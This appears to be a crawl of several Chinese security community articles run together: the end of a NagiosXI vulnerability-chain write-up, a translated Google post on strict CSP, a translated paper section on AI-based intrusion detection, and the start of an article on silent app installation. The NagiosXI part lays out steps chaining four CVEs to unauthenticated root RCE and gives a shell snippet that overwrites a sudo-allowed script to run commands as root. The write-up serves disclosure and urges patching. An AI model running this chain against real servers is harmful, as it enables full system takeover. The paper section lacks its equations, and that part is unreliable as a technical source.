NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/change_timezone.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/manage_services.sh *
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/reset_config_perms.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/backup_xi.sh *
...
这正是我们感兴趣的，特别是，如果这些文件的文件权限允许对nagiosxi用户执行写操作的话，则可以：
[root@nagiosxi_host ]# ls -l /usr/local/nagiosxi/scripts/
...
-rwxr-xr-x 1 nagios nagios 1664 Dec 28 2016 change_timezone.sh
-rwxr-xr-x 1 nagios nagios 2303 Dec 28 2016 manage_services.sh
-rwxr-xr-x 1 nagios nagios 2681 Dec 28 2016 upgrade_to_latest.sh
-rwxr-xr-x 1 nagios nagios 1010 Dec 28 2016 reset_config_perms.sh
-rwxr-xr-x 1 nagios nagios 5673 Dec 28 2016 backup_xi.sh
...
所以，这就是一个本地权限提升的例子。为此，只需将nagiosxi用户需要以root用户身份执行的所有命令都放到出现在sudoers文件中的某个脚本中，然后通过无需密码的sudo命令来调用该脚本即可。
[+] 这是本地权限提升漏洞！用户nagiosxi可以非常轻松地升级为root权限。
[-] 这是本地权限提升漏洞，并且任何以nagiosxi身份执行命令的人都会变身为系统管理用户。
**漏洞组合拳！**
* * *
对于上面这几个漏洞，如果单兵作战的话，是掀不起什么大风大浪的：虽然可以修改一些未认证的应用程序参数，但这顶多可以用来拿下应用程序本身；可以利用SQLi漏洞，却无法搞到nagiosxi认证数据；虽然可以注入命令，但这需要已认证的管理会话；虽然有本地权限提升漏洞，但需要通过命令行才能访问应用程序服务器。然而，如果将这些漏洞组合使用的话，就能得到一个无需身份认证的、具有root权限的远程命令执行漏洞！
如果要了解相关细节的话，最好直接查看漏洞利用代码；但是现在，我们先来了解一下一般步骤：
第0步：检查nagios的版本 ——
上面介绍的所有漏洞都适用于NagiosXI的5.2.6至5.4版本；此外，我们可以从<nagiosxi_host>/nagiosxi/login.php中解析相应的版本字符串。</nagiosxi_host>
第1步：利用CVE-2018-8733漏洞将数据库用户改为root用户 ——
我们可以将nagiosql数据库用户改为root用户，以授予其足够的权限来访问nagiosxi的认证数据。
第2步：利用SQLi访问API密钥 ——
现在，数据库用户已经拥有了足够的权限，我们使用CVE-2018-8734漏洞执行SQL注入，以返回系统中所有唯一的API密钥。该应用程序似乎将一个管理API密钥存储到了数据库中，因此这是一个非常可靠的选择。
第3步：使用API密钥添加管理用户 —— 如果您拥有适当的API密钥的话，那么这就称不上漏洞了，只是一个可用于添加管理用户的API而已。
第4步：登录 —— 既然已经拥有系统的管理账户，自然就可以顺利登录系统了。现在，我们已经有效地绕过了针对应用程序的nagiosxi部分的身份验证了。
第5步：注入命令+提升权限 ——
这里，我们通过CVE-2018-8735（命令注入漏洞）来执行命令。一旦在应用服务器上获得了一个会话，就可以建立一个低权限的反向shell，然后再提升权限即可。但是，就我们的PoC而言，由于已将所需的命令放入临时的权限提升脚本中，所以只需执行这个脚本，上述所有工作就可以一气呵成了：
cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak &&
echo "{your_command_here}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh &&
sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh &&
mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh
这个脚本通过将所需命令放入/usr/local/nagiosxi/scripts/reset_config_perms.sh文件，然后使用无需密码的sudo命令调用该脚本来利用CVE-2018-8736漏洞。其中，第一行和最后一行命令分别用于备份和恢复原始脚本。
**小结**
* * *
现在，我们已经大功告成了！
按照上述步骤，我们能够将四个漏洞（它们危害程度不同，而且会引发警告）转换为一个root级别的RCE漏洞，并且不会引起任何警告。通过这个案例，能给我们带来哪些警示？我想应该很多。
对于应用程序中存在的各种漏洞，我们不应该孤立地看待它们，至少应该从组合的角度重新加以审视。换句话说，如果不修复看似低风险的漏洞，可能导致非常严重的后果。
如果您当前运行的NagiosXI的版本号介于5.2.6到5.4.12之间的话，请不要犹豫，立即更新。 | 社区文章 |
# 【技术分享】通过严格的内容安全策略（CSP）重塑Web防御体系
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://security.googleblog.com/2016/09/reshaping-web-defenses-with-strict.html>
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**写在前面的话**
在过去的十多年里， **跨站脚本（**[
**XSS**](https://www.google.com/about/appsecurity/learning/xss/)
**）一直都位于十大Web安全漏洞之列**
。通过跨站脚本攻击，攻击者可以向一个受信任的Web应用中注入恶意脚本。根据[Google公司的漏洞奖励计划](https://www.google.com/about/appsecurity/reward-program/index.html)，安全研究专家如果在Google的应用程序中发现了跨站脚本漏洞并将其报告给Google，那么Google公司将会根据漏洞的等级提供一定数额的漏洞奖金。仅在过去的两年时间内，Google公司已经向那些报告XSS漏洞的研究人员提供了
**超过一百二十万美元的漏洞奖励**
。类似“严格的上下文隔离（SCE）”这样的现代Web技术不仅可以帮助开发人员避免Web应用受到跨站脚本攻击，而且还可以防止自动扫描器在测试过程中发现Web应用中的安全漏洞。但是在某些复杂的应用程序中，设计缺陷和安全漏洞都是难以避免的，而这些安全问题最终都将使得Web应用暴露于风险之中。在发现了这些漏洞之后，攻击者既可以进行有针对性的恶意攻击，也可以进行无伤大雅的恶作剧。
**
**
**内容安全策略（CSP）**
**内容安全策略（CSP）**
是一种安全机制，当Web应用中出现跨站脚本漏洞时，就是内容安全策略该发挥作用的时候了。它可以帮助开发人员限制某些脚本的运行，这样一来，即便是攻击者可以向包含漏洞的页面注入HTML代码，他们也仍然无法加载恶意脚本和其他类型的恶意资源。除此之外，内容安全策略也是一种非常灵活的工具，在它的帮助下，
**开发人员还可以设置大量的安全限制策略** 。
然而，CSP策略的灵活性是一把 **双刃剑**
，这种灵活性也有可能引起非常严重的问题：从表面上看，我们可以轻易地设置安全策略，而且这些策略似乎可以正常工作，但是它们却并没有提供应有的安全防护能力。在近期的一次研究中，我们对互联网中的十亿个站点进行了分析，并且发现在那些部署了CSP策略的站点中，
**有大约95%的站点其CSP策略是无效的**
，因为它们根本无法抵御跨站脚本攻击。其中的一个主要原因就是这些网站中的设置存在问题，开发人员允许网站加载外部脚本，而攻击者将可以绕过CSP策略的保护。所以我们认为现在应该带领大家重新审视一下内容安全策略，这是非常重要的，希望这篇文章可以帮助Web生态系统提升安全性，并让开发人员能够充分利用CSP策略的潜能。
**更加安全的CSP策略**
为了帮助开发人员设计出能够充分保护Web应用安全的策略，我先给大家介绍一款工具－[CSP Evaluator](https://csp-evaluator.withgoogle.com/)。这款工具可以帮助开发人员可视化地查看到一个策略设置后的运行效果，并且它还可以检测安全策略中存在的一些小问题。Google公司的安全工程师和Web应用开发人员可以使用CSP
Evaluator来确保部署的安全策略能够达到预期的目标，并且确保攻击者无法绕过这些安全策略。在此之前，这款工具仅供Google公司的内部人员使用，但是现在我们将其公布出来了，
**任何人都可以使用CSP Evaluator来检测自己CSP策略的有效性** 。
由于目前很多热门站点中都加载了大量十分复杂的Web应用，而这些资源使得攻击者可以绕过内容安全策略的限制。所以即便我们有这款强大工具的帮助，也仍然难以为复杂的Web应用构建出一个安全的脚本白名单。在这种情况下，安全研究人员就提出了一种
**基于随机数（nonce-based）的内容安全策略**
。与之前的脚本白名单机制不同，它需要对应用程序进行简单的修改，让Web应用根据一个随机token（令牌）来判断脚本是否可信任。它会为脚本分配一个
**不可预测的一次性token** ，这个token的值必须与内容安全策略中定义的值相匹配：
Content-Security-Policy: script-src 'nonce-random123'
<script nonce='random123'>('This script will run')</script>
<script>('Will not run: missing nonce')</script>
<script nonce='bad123'>("Won't run: invalid nonce")</script>
‘ **strict-dynamic** ’是CSP3规范中定义的一个参数，目前Chrome和Opera浏览器已经开始支持使用‘strict-dynamic’了（火狐浏览器也将支持该参数）。这样一来，在它的帮助下，向复杂的现代Web应用中添加安全策略将会变得更加容易。现在，开发人员可以直接设置一个如下所示的简单策略：
script-src 'nonce-random123' 'strict-dynamic'; object-src 'none'
这样就可以确保所有的静态<script>元素都 **包含有一个相匹配的nonce参数**
了。在很多情况下，我们只需要添加这样一行简单的代码，就可以保护Web应用免受XSS攻击的侵害，因为‘strict-dynamic’可以帮助开发人员在Web应用的运行过程中动态加载受信任的脚本。需要注意的是，通过这种方式所设置的策略是 **完全向下兼容**
的，所有能够识别CSP策略的浏览器都支持这样的设置方式。除此之外，它也能够与Web应用中的传统CSP策略完美兼容。除了功能性的提升之外，这种方式也简化了CSP策略的定义和部署过程。
**采用严格的内容安全策略**
在过去的几个月内，我们已经在好几个大型的Google应用程序中部署了这种方法，包括[Cloud
Console](https://console.developers.google.com/)、[Photos](https://photos.google.com/)、[History](https://myactivity.google.com/myactivity)、[Careers
Search](https://www.google.com/about/careers/jobs)、[Maps
Timeline](https://www.google.com/maps/timeline)、以及[Cultural
Institute](https://www.google.com/culturalinstitute/)等服务，我们目前也正在努力向其他的Google应用中添加这种安全策略。我们相信这种方法同样可以帮助其他的开发人员，所以我们专门发布了一篇文章来详细介绍CSP策略的最佳实践方式。我们在文章中介绍了CSP策略的优势，并且给出了很多设置参考样本［[文章传送门](https://csp.withgoogle.com/docs/strict-csp.html)］。
除此之外，我们还给大家提供了一款名为“ **CSP Mitigator**
”的Chrome插件，这款插件可以帮助开发人员检查一款Web应用程序是否可以使用基于随机数的内容安全策略。除此之外，这款插件还可以帮助开发人员配置CSP策略，当某一款Web应用需要重构才可以支持CSP策略时，它可以为开发人员提供相应的参考数据。
**如果要采用严格的内容安全策略，大多数Web应用程序都需要进行以下修改：**
1.在所有的<script>元素中添加一个“nonce”属性。某些模版系统可以[自动](https://developers.google.com/closure/templates/docs/security#content_security_policy)完成这一修改操作。
2.对内联处理事件进行重构，例如“onclick”和“”等等。
3.在加载任何一个页面时，生成一个新的nonce（一次性随机数），并将其发送给模版系统，然后在“Content-Security-Policy”响应头中使用这个值。
**我们鼓励各位开发人员使用严格的内容安全策略**
现在，我们已经将研究人员对CSP策略的优化和提升努力纳入了补丁奖励计划的范畴。如果你可以帮助流行的开源Web框架适配基于随机数的内容安全策略，你将有机会获得奖励。我们希望增加Web开发人员对这一领域的关注，我们也希望安全研究专家能够设计出新的方法来绕过这种CSP策略的限制，并帮助我们提升这种机制的安全度。因为只有大家共同努力，才能最大程度地保护互联网用户的安全。
如果各位读者对这篇文章有任何的疑问，请不要犹豫，赶紧联系我们（[[email protected]](mailto:[email protected])）。 | 社区文章 |
# 关键基础设施中基于AI的入侵检测技术的比较研究（二）
|
##### 译文声明
本文是翻译文章，文章原作者 SAFA OTOUMBURAK、KANTARCI、HUSSEIN MOUFTAH，文章来源：x-mol.com
原文地址：<https://www.x-mol.com/paper/1290717755575246848>
译文仅供参考，具体内容表达以及含义原文为准。
## 5.入侵检测方法
### **5.1基于自适应监督和聚类混合入侵检测系统( _ASCH-IDS_ )的自适应机器学习**
在我们之前提出的ASCH-IDS[7]和CHH-IDS[6]中，收集到的遥感数据经历了两个基于子系统与入侵检测同时运行的机器学习：异常检测子系统(
_ADSs_ )和误用检测子系统( _MDSs_ )。这就转化为一个混合系统，如算法2所示，用于检测入侵传感器。 _ADSs_
遵循EDBSCAN算法，是指带噪音的应用程序基于密度升级的空间聚类，而 _MDSs_
遵循的是随机森林技术。DBSCAN回归到基于密度的聚类方法，聚类被认为是物体的密集区域，数据空间分布成低密度的物体区域[34]，而E-DBSCAN算法保留了聚类中局部密度的变化轨迹，并在考虑其电子邻域的情况下计算任何核心物体的密度变化[35]。另一方面，当随机森林被用作分类机制时，每棵树都会检查每个输入的频繁类并在发生时进行投票[36]，它的操作分为两个阶段：训练和分类阶段[37]。在[6]中，将收集到的数据按照时间段划分的方法，以循环的方式划分为
_IDS_ 子系统( _IDSs_ )，如图1所示。
图2表示之前提出的 _CHH-IDS_ [6]， _CHH-IDS_ 运行在包含N集群的 _WSN_ 上， _CH_ 处理传感器转发的数据的聚合过程。
当采用随机森林进行误用检测时，每棵树的发展情况如下所述[37]：
1. 如果训练集大小用 _Y_ 表示，则从原始数据集中随机提取的数据点y就变成了开发树的训练数据集。
2. 如果输入变量用 _X_ 表示，可以利用从 _X_ 中随机提取的 _x_ 来分割节点。 _x_ 被认为是一个常数，而森林发展时，每棵树都被发展到最大的尺寸。
另一方面，E-DBSCAN作为聚类算法已经被利用来提取代表距离阈值的，是E-DBSCAN算法中的关键因素[38]。DBSCAN可以实现属于同一密度的相邻聚类以及随机形状的聚类[39]。DBSCAN由两个因子组成，分别是被视为输入参数的和
_MinPts_ 。它遵循以下的规则：
1. 2. 核心对象的邻域大小> _MinPts_ 。
3. 点 _j_ 作为核心对象，从 _i_ 中可以获得密度。
4. 当i和j从一个核心对象中可以获得密度时，认为i和j是基于密度的连接。
另一方面，ASCH-IDS[6]保留了 _ADSs_ 和 _MDSs_ 在接收者运行特性曲线(ROC)上的偏差，并自适应地改变指向它们的数据段。
方程式(2)-(3)表示(TP)至(FP)的两个子系统在τi上，它们分别用μ1(τi)和μ2(τi)表示[7]。
方程式(4)-(5)表示在时间(△τ)时TP至FP的比率，其中△τ=τi+1∞τi [7]。
当提取△τ期间的ROC行为时，我们可以得到各子系统的ROC行为是τ时的ROC行为与△τ时的行为之和，这可以用方程式(6)和(7)来表示[7]。其中α代表最近计算的TP/FP及其在(△τ)期间的值，其中τi+1=τi+△τ。
方程式(8)表示一个指标 _I_ (τi)，它追踪MDSs和ADSs在任意时间τi上的ROC行为 。
提取的指标 _I_ 用于决定对收集到的数据进行引导，如I(τi)> I(τi-1)，ASCH-IDS就会判定ADSs的性能优于MDSs，所以ADSs数据比例增加，就会提升系统的整体性能。各种情况下，I(τi)<
I(τi-1)，入侵检测系统会判定MDSs的性能优于ADSs，如，MDSs数据比例的任何增长都有望改善系统的整体性能。无论什么情况下，如果 I(τi+1)>
I(τi)，则ASCH-IDS在μ1上的数据比例增加，在μ2上的数据比例减少，如：Da(τi+1)= Da(τi)+△D和Dm(τi+1)=
Dm(τi)-△D，如方程式(9)-(10)中所制定的△D表示各子系统的数据调整。算法3对前面的步骤进行了概述。其中τi、τi+1和△τ分别指任意时间、τi+△τ和(τi+1∞τi)之间的时间差。α指的是评价μ1(τi)和μ2(τi)时的ROC特征权重，Da(τi)和Dm(τi)指的是τi处转发到异常(ADSs)和误用(MDSs)的数据段。
由于所提出的系统由两个子系统组成，其复杂度是两个算法复杂度的函数。由于随机森林是一种特殊的决策树模型，其复杂度可以从决策树中提取出来，例如，建立一棵具有r条记录和v个变量的决策树的复杂度C(随机森林)为O(v
+ rec ∗ log(v))，而对于我们的随机森林中的多棵树，复杂度为O(Tr ∗ Var ∗ rec ∗
log(Var))，其中Tr是树的数量，Var是变量的数量。对于作为第二个子系统的E-DBSCAN，其复杂度是由查询请求的数量决定的。由于每个点只操作一个查询，所以运行时复杂度为O(n)<(n∗log(n))。在我们的E-DBSCAN中，初始化步骤执行1次，比较步骤执行(m+1)次，增量步骤执行(m)次。因此，复杂度将为O(2+(2m))=O(m)。为此，系统的整体复杂度可以用O(
(Tr ∗ Var ∗ rec ∗log(Var))+ (2 + (2m))来计算。
### **5.2 基于深度学习的受限玻尔兹曼机聚类IDS(RBC-IDS)**
受限玻尔兹曼机(RBM)是一种高能的神经网络系统，包含两种类型的层面：(V)和(H)分别指可见层和隐藏层，学习过程由无监督方式引导[19]。RBM允许同一层的神经元之间的连接，这使得它受到限制，程序在算法4的虚拟码中提出。
表1包含了算法4中使用的RBM参数。
网络对隐藏元素和可见元素中的每一种情况都设置了概率得分[19][33]。
图3表示RBC-IDS中使用的RBM设置。RBC-IDS由一个包含X个可见节点的输入层，三个隐藏层和输出层组成，其中输出层的两个输出O1和O2分别为
_Intrusive_ 和 _Normal_
输出。W11代表第一可见层和第一隐藏层之间的权重，而W12指的是第一隐藏层和第二隐藏层的权重，W23是第二隐藏层和第三隐藏层之间的权重。
在RBC-IDS中，每个CH负责将来自同一集群中的传感器的传感数据进行聚合，并通过采用[32]中的程序将其转发给服务器。
### **5.3 强化学习**
在机器学习中，所研究的环境被定义为马尔可夫决策过程(MDP)，它和许多强化学习算法(如Q-learning)一样，采用动态编程程序。MDP拿出最优的策略来实现随着时间的推移获得最大的回报[40]。
强化学习概念的基本原理如下：
1. 代理器(即传感器)与环境交互，在每个状态St中采取动作At，并观察环境的反馈。
2. 环境以R+或R–的形式为所做的行为提供奖励Rt，分别指的是积极或消极的奖励。
3. 代理器会观察环境的任何变化，并通过更新策略来优化收到的奖励。
4. 从当前状态出发，为了使总奖励的期望值最大化，调用不同的强化学习技术。
**5.3.1 Q-Learning。**
Q-Learning建立在价值迭代的概念上，代理的目的是估计价值函数，每一次迭代更新所有的状态s和动作A，以便知道哪个动作A导致更高的奖励R，在Q表中，行代表状态，而列代表动作。在一个状态(比如说状态S)中，代理采取一个动作(即动作A)，观察这个动作的奖励(R)以及下一个状态(S’)，然后重新估计Q值。
方程式(11)表示估计的Q值[41]，其中St、At和Rt分别代表时间t的状态、动作和奖励。此外，α和γ分别代表学习率和一个关于奖励相对值的常数。事实上，以下条件对这两个参数都成立。0<α<1，0<γ<1。
方程(12)形成估计函数Vπ(S)，它代表了对初始状态S下将获得的未来报酬R的估计[42]。方程中π(S，A)表示动作A在状态S中的可能性，PSS+(A)代表状态S和S+与动作A之间的状态转换概率。R(S，S+，A)为行动A时从状态S过渡到S+后发出的奖励，r为未来奖励到当前奖励的贴现系数权重[42]。采用的值迭代方法如下方程式(13)所示。其中，Vπ(S)指初始状态S时R的值估计，π(S，A)是A在S中的概率，PSS+(A)指A时从状态S到S+的过渡概率，R(S，S+，A)是S时从状态S到S+过渡返回的报酬。r为未来奖励到当前奖励的贴现系数权重，VπI（S+）为初始迭代I时R在状态S+的价值估计，为更新迭代I+1时R在状态S的价值估计。
值得注意的是，之所以采用Q-learning作为我们的强化学习方法之一，是因为Q-learning的无模型特性。此外，通过应用Q-learning，还可以以非自适应的方式解决随机奖励问题。此外，Q-learning还具有不一定遵循当前政策的学习能力[43]。
**5.3.2状态-行动-奖励-状态-行动学习（SARSA）。** SARSA是一种基于MDP的强化学习算法，它被认为是一种改进版的链结式Q-Learning（MCQ-L）算法。SARSA根据当前状态S、S的当前动作A、动作A的返回奖励R、新状态S和新状态的下一个动作A来更新Q值，可以用五元组（St,At,Rt,St+1,At+1）来表示。
SARSA是一种策略性学习算法，代理与环境相互关联，并根据所采取的行动更新政策。在SARSA中，Q值函数表示在状态S中采取动作A在下一个时间步中收到的奖励，以及从下一个状态和动作中收到的奖励[44]。前面的Q值函数（方程式(11)）可按方程式(14)更新。
方程式(11)和方程式(14)看起来几乎是一样的，只是在Q-learning中，所有可能的下一步行动中估计值最高的行动将被考虑，而在SARSA中，实际的下一步行动被考虑。与SARSA技术相比，在Q-learning中寻找最大的回报会使其成本更高[14]。
**5.3.3 时间差分学习(TD)。**
是一种无模型强化学习技术，它可以通过考虑从当前值的近似分布来估计期望值函数进行学习。TD技术估计策略下的状态值函数π，如下面的方程式(15)和方程式(16)所示。
其中Vπ（St）指的是状态St的状态价值函数，R指的是报酬，γ是政策π下的贴现率，在方程式（16）中，R0+γVπ（S1）代表Vπ（St）的无偏估计。TD是一种用来学习如何估计一个依赖于未来值的技术，这使得它对学习V-函数和Q-函数都很有用。而Q-learning则是一种只学习Q-函数的特殊技术。
基于强化学习的WSNs入侵检测系统（QL-IDS）如图4所示。IDS由分层连接的集群与聚合器和一个中心代理其代理在表示强化学习盒，它试图模拟监测网络的状态。经过一系列的迭代，中心代理知道响应每个状态S需要执行的动作A，以获得正向奖励R+。
值得一提的是，值迭代的工作原理是通过生成最优值函数的连续估计值。其中每一次的迭代都可以在O(|A||S
|2)中完成。在强化学习中，所需的迭代次数可以成倍增长。
## 参考文献
[1] I. Al-Ridhawi, S. Otoum, M. Aloqaily, Y. Jararweh, and Th. Baker.
Providing secure and reliable communication for next generation networks in
smart cities. _Sustainable Cities and Society_ , 56:102080, 2020.
[2] L. Buttyan, D. Gessner, A. Hessler, and P. Langendoerfer. Application of
wireless sensor networks in critical infrastructure protection: challenges and
design options [security and privacy in emerging wireless networks]. _IEEE
Wireless Communications_ , 17(5):44–49, October 2010.
[3] Ismaeel Al Ridhawi, Yehia Kotb, Moayad Aloqaily, Yaser Jararweh, and Thar
Baker. A profitable and energy-efficient cooperative fog solution for iot
services. _IEEE Transactions on Industrial Informatics_ , 16(5):3578–3586,
2019.
[4] Safa Otoum, Burak Kantraci, and Hussein T. Mouftah. Hierarchical trust-based black-hole detection in wsn-based smart grid monitoring. _IEEE
International Conference on Communications (ICC)_ , 2017.
[5] M. Al-Khafajiy, S. Otoum, TH. Baker, M. Asim, Z. Maamar, M. Aloqaily, MJ.
Taylor, and M. Randles. Intelligent control and security of fog resources in
healthcare systems via a cognitive fog model. _ACM Transactions on Internet
Technology_ , 2020.
[6] Safa Otoum, Burak Kantarci, and Hussein T. Mouftah. Detection of known and
unknown intrusive sensor behavior in critical applications. _IEEE Sensors
Letters_ , 1(5):1–4, Oct 2017.
[7] Safa Otoum, Burak Kantraci, and Hussein T. Mouftah. Adaptively supervised
and intrusion-aware data aggregation for wireless sensor clusters in critical
infrastructures. In _IEEE International Conference on Communications (ICC)_ ,
pages 1–6, May 2018.
[8] Safa Otoum, Burak Kantraci, and H. T. Mouftah. Mitigating false negative
intruder decisions in wsn-based smart grid monitoring. In _13th International
Wireless Communications and Mobile Computing Conference (IWCMC)_ , pages
153–158, June 2017.
[9] R. Jain and H. Shah. An anomaly detection in smart cities modeled as
wireless sensor network. In _International Conference on Signal and
Information Processing (IConSIP)_ , pages 1–5, Oct 2016.
[10] C. Ioannou, V. Vassiliou, and C. Sergiou. An intrusion detection system
for wireless sensor networks. In _24th International Conference on
Telecommunications (ICT)_ , pages 1–5, May 2017.
[11] Ahmad Javaid, Quamar Niyaz, Weiqing Sun, and Mansoor Alam. A deep
learning approach for network intrusion detection system. In _Proceedings of
the 9th EAI International Conference on Bio-inspired Information and
Communications Technologies (Formerly BIONETICS)_ , pages 21–26, 2016.
[12] C. Yin, Y. Zhu, J. Fei, and X. He. A deep learning approach for intrusion
detection using recurrent neural networks. _IEEE Access_ , 5:21954–21961,
2017.
[13] L. Dali, A. Bentajer, E. Abdelmajid, K. Abouelmehdi, H. Elsayed, E.
Fatiha, and B. Abderahim. A survey of intrusion detection system. In _2nd
World Symposium on Web Applications and Networking (WSWAN)_ , pages 1–6, March
2015.
[14] Stefano Zanero and Sergio M. Savaresi. Unsupervised learning techniques
for an intrusion detection system. In _ACM Symposium on Applied Computing_ ,
SAC ’04, pages 412–419, New York, NY, USA, 2004. ACM.
[15] Nico Görnitz, Marius Kloft, Konrad Rieck, and Ulf Brefeld. Active
learning for network intrusion detection. In _Proceedings of the 2Nd ACM
Workshop on Security and Artificial Intelligence_ , AISec ’09, pages 47–54,
New York, NY, USA, 2009. ACM.
[16] J. Straub. Testing automation for an intrusion detection system. In _IEEE
Autotestcon_ , pages 1–6, Sept 2017.
[17] Andrew Honig, Andrew Howard, Eleazar Eskin, and Sal Stolfo. Adaptive
model generation: An architecture for deployment of data mining-based
intrusion detection systems. pages 153–194. Kluwer Academic Publishers, 2002.A
Comparative Study of AI-based Intrusion Detection Techniques in Critical
Infrastructures 21
[18] Mostafa A. Salama, Heba F. Eid, Rabie A. Ramadan, Ashraf Darwish, and
Aboul Ella Hassanien. Hybrid intelligent intrusion detection scheme. In
António Gaspar-Cunha, Ricardo Takahashi, Gerald Schaefer, and Lino Costa,
editors, _Soft Computing in Industrial Applications_ , pages 293–303, Berlin,
Heidelberg, 2011. Springer Berlin Heidelberg.
[19] Arnaldo Gouveia and Miguel Correia. _A Systematic Approach for the
Application of Restricted Boltzmann Machines in Network Intrusion Detection_ ,
volume 10305. 05 2017.
[20] Yazan Otoum, Dandan Liu, and Amiya Nayak. Dl-ids: a deep learning–based
intrusion detection framework for securing iot. _Transactions on Emerging
Telecommunications Technologies_ , n/a(n/a):e3803. e3803 ett.3803.
[21] M. Z. Alom, V. Bontupalli, and T. M. Taha. Intrusion detection using deep
belief networks. In _National Aerospace and Electronics Conference (NAECON)_ ,
pages 339–344, June 2015.
[22] Ugo Fiore, Francesco Palmieri, Aniello Castiglione, and Alfredo De
Santis. Network anomaly detection with the restricted boltzmann machine.
_Neurocomputing_ , 122:13 – 23, 2013.
[23] Yuancheng Li, Rong Ma, and Runhai Jiao. A hybrid malicious code detection
method based on deep learning. 9:205–216, 05 2015.
[24] A. Abeshu and N. Chilamkurti. Deep learning: The frontier for distributed
attack detection in fog-to-things computing. _IEEE Communications Magazine_ ,
56(2):169–175, Feb 2018.
[25] Rafał Kozik, Michał Choraś, Massimo Ficco, and Francesco Palmieri. A
scalable distributed machine learning approach for attack detection in edge
computing environments. _Journal of Parallel and Distributed Computing_ ,
119:18 – 26, 2018.
[26] Arturo Servin and Daniel Kudenko. Multi-agent reinforcement learning for
intrusion detection. In _Adaptive Agents and Multi-Agent Systems III.
Adaptation and Multi-Agent Learning_ , pages 211–223, Berlin, Heidelberg,
2008. Springer Berlin Heidelberg.
[27] Xin Xu and Tao Xie. A reinforcement learning approach for host-based
intrusion detection using sequences of system calls. In _Advances in
Intelligent Computing_ , pages 995–1003, Berlin, Heidelberg, 2005. Springer
Berlin Heidelberg.
[28] Indah Tiyas, Ali Barakbah, Tri Harsono, and Amang Sudarsono. Reinforced
intrusion detection using pursuit reinforcement competitive learning. _EMITTER
International Journal of EngineeringTechnology_ , 2(1):39–49, 2014.
[29] James Cannady Georgia. Next generation intrusion detection: Autonomous
reinforcement learning of network attacks. In _In Proceedings of the 23rd
National Information Systems Secuity Conference_ , pages 1–12, 2000.
[30] Arturo Servin. Towards traffic anomaly detection via reinforcement
learning and data flow. pages 81–88.
[31] Fatma Belabed and Ridha Bouallegue. An optimized weight-based clustering
algorithm in wireless sensor networks. _2016 International Wireless
Communications and Mobile Computing Conference (IWCMC)_ , 2016.
[32] Wei Zhang, Sajal Das, and Yonghe Liu. A trust based framework for secure
data aggregation in wireless sensor networks. _IEEE Communications Society on
Sensor and Ad Hoc Communications and Networks_ , 2006.
[33] S. Seo, S. Park, and J. Kim. Improvement of network intrusion detection
accuracy by using restricted boltzmannmachine. In _8th International
Conference on Computational Intelligence and Communication Networks (CICN)_ ,
pages413–417, Dec 2016.
[34] Daoying Ma and Aidong Zhang. An adaptive density-based clustering
algorithm for spatial database with noise. _IEEE Intl Conf on Data Mining
(ICDM’04)_.
[35] A. Ram, A. Sharma, A. S. Jalal, A. Agrawal, and R. Singh. An enhanced
density based spatial clustering of applicationswith noise. In _IEEE Intl.
Advance Computing Conference_ , pages 1475–1478, March 2009.
[36] Random forests, leo breiman and adele cutler.
[37] Jiong Zhang, M. Zulkernine, and A. Haque. Random-forests-based network
intrusion detection systems. _IEEE Trans. on Systems, Man, and Cybernetics,
Part C_ , 38/5:649–659, 2008.
[38] M.f Jiang, S.s Tseng, and C.m Su. Two-phase clustering process for
outliers detection. _Pattern RecognitionLetters_ , 22/6-7:691–700, 2001.
[39] Daoying Ma and Aidong Zhang. An adaptive density-based clustering
algorithm for spatial database with noise. _IEEE Intl Conf on Data Mining
(ICDM’04)_.
[40] S. Doltsinis, P. Ferreira, and N. Lohse. An mdp model-based reinforcement
learning approach for production stationramp-up optimization: Q-learning
analysis. _IEEE Transactions on Systems, Man, and Cybernetics: Systems_ ,
44(9):1125– 1138, Sept 2014.
[41] Christopher J. C. H. Watkins and Peter Dayan. Q-learning. _Machine
Learning_ , 8(3):279–292, May 1992.
[42] Xin Du and Jinjian Zhai. Algorithm trading using q-learning and recurrent
reinforcement learning.
[43] Chris Gaskett, David Wettergreen, and Alexander Zelinsky. Q-learning in
continuous state and action spaces. InNorman Foo, editor, _Advanced Topics in
Artificial Intelligence_ , pages 417–428, Berlin, Heidelberg, 1999. Springer
BerlinHeidelberg.
[44] D. Kumar, N. Logganathan, and V. P. Kafle. Double sarsa based machine
learning to improve quality of video streamingover http through wireless
networks. In _2018 ITU Kaleidoscope: Machine Learning for a 5G Future (ITU K)_
, pages 1–8,Nov 2018.
[45] M. Tarique, K. E. Tepe, and M. Naserian. Hierarchical dynamic source
routing: passive forwarding node selection forwireless ad hoc networks. volume
3, pages 73–78 Vol. 3, Aug 2005.
[46] Irvine The UCI KDD Archive, University of California. _KDD Cup 1999
Data_. Available at
http://www.kdd.ics.uci.edu/databases/kddcup99/kddcup99/html/, Last Visit:
April.10.2018.
[47] P Natesan and Prof P Balasubramanie. Multi stage filter using enhanced
adaboost for network intrusion detection.4:121–135, 05 2012.
[48] B. M. Beigh and M. A. Peer. Performance evaluation of different intrusion
detection system: An empirical approach. In _Intl. Conf. on Computer
Communication and Informatics_ , pages 1–7, Jan 2014.
[49] Hesham Elmahdy M. Elhamahmy and Imane A. Saroit. A new approach for
evaluating intrusion detection system. In _Artificial Intelligent Systems and
Machine Learning_ , volume 2, pages 290–298, November 2010.
[50] M. Elhamahmy, N. Hesham, and A. Imane. A new approach for evaluating
intrusion detection system. In _ArtificialIntelligent Systems and Machine
Learning_ , volume 2, pages 290–298, Dec 2010. | 社区文章 |
# 【技术分享】另外一种静默安装APP“黑科技”分析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **ssssssshg**](http://bobao.360.cn/member/contribute?uid=74935448)
**预估稿费：500R** **MB（不服你也来投稿啊！）**
**投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**0x01 引子**
